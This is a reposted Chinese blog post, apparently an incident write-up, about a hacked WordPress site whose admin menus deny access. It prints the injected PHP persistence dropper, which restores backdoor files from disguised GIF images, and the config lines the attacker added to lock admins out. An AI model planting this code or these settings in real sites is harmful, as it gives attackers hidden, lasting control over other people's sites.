阅读 58

wordpress 后台菜单点击的时候提示没有权限

记录一次在后台操作的时候没有权限,当鼠标移动上去的时候没反应:

 

 这部分完全的不显示,强制输入连接,直接提示没有权限

 

 初步的判断是有人设置的角色的部分,经过查找wordpress中没有单独设置权限的部分。

然后觉的可能是什么插件影响, 然后禁用所有的插件,然而,还是一动不动的。

 

直接进入到服务器进行查看,发现是多了个两个奇怪的文件夹 

 

 进入文件夹查看,发现不是正经的文件

 

 

然后根据文件名进行查找:

grep -rnl coreq

发现还把其他的文件也进行了修改

 

图片的文件是进行伪装, 两个php文件中果然是写了东西

//ck1bg
$nowFileDir =  ‘coreq‘;
$nowHtacFile =  ‘./coreq/.htaccess‘;
$nmbf1 =  ‘./coreq/template.html‘;
$nowIndexFile =  ‘./coreq/index.php‘;
$nowLogFile =  ‘./coreq/logs.txt‘;
$bkLocalFileIndex1 =  ‘./wp-includes/images/smilies/icon_reds.gif‘;
$bkLocalFileHtac1 =  ‘./wp-includes/images/smilies/icon_blacks.gif‘;
$bkLocalFileMoban1 =  ‘./wp-includes/images/smilies/icon_greens.gif‘;
^M
if($nowHtacFile && file_exists($bkLocalFileHtac1)){^M
        if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){^M
                if(!is_dir("./$nowFileDir")){^M
                        @mkdir("./$nowFileDir",0755);^M
                }^M
                @chmod($nowHtacFile,0755);^M
                @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));^M
                @chmod($nowHtacFile,0755);^M
        }^M
}^M
^M
^M
if(file_exists($bkLocalFileIndex1)){^M
        if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){^M
                if(!is_dir("./$nowFileDir")){^M
                        @mkdir("./$nowFileDir",0755);^M
                }^M
                @chmod($nowIndexFile,0755);^M
                @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));^M
                @chmod($nowIndexFile,0755);^M
        }^M
}^M
^M
if(file_exists($bkLocalFileMoban1)){^M
        ^M
        if(!file_exists($nmbf1)){^M
                if(!is_dir("./$nowFileDir")){^M
                        @mkdir("./$nowFileDir",0755);^M
                }^M
                @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));^M
                @chmod($nmbf1,0755);^M
        }else{^M
                if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){^M
                        $tpstrMb = file_get_contents($nmbf1);^M
                        if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){^M
                                $fitime = filemtime($bkLocalFileMoban1);^M
                                @chmod($bkLocalFileMoban1,0755);^M
                                @file_put_contents($bkLocalFileMoban1,$tpstrMb);^M
                                @touch($bkLocalFileMoban1, $fitime, $fitime);  ^M
                        }else{^M
                                @chmod($bkLocalFileMoban1,0755);^M
                                @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));^M
                                @chmod($bkLocalFileMoban1,0755);^M
                        }^M
                }^M
        }^M
        ^M
}
//ck1end

看变量命名,好像也不是老外写的,还能咋的, 就把对应的代码给删掉,别让继续的潜伏着,图片里面的代码就不贴了。

在做了清除之后,菜单的问题依然是没有解决。

于是开始下载新版本的wordpress进行手动更新,只要不覆盖配置文件就行,然后我还是太年轻,覆盖完了之后依然没有效果。

灵机一动,直接用新的版本,只用原来的数据库和配置文件,结果还是没有结果。

老衲已经身心疲惫,想着直接放弃算了。

于是又复制了一个正常站的配置文件,把对应的数据库的信息修改了,,,这时奇迹发生了。原来篡改的文件还有配置文件。

在配置文件的最新面发现了两行

define(‘DISALLOW_FILE_EDIT‘, true);
define(‘DISALLOW_FILE_MODS‘, true);

删掉之后果然是生效了。

 

遗留两个问题没有解决:

1.为什么只是对插件的哪里的起作用

2.最初的源头是什么,这个没有找到,还是睡不踏实。

 

 

 


 

 

原文:https://www.cnblogs.com/eatmore/p/15302472.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐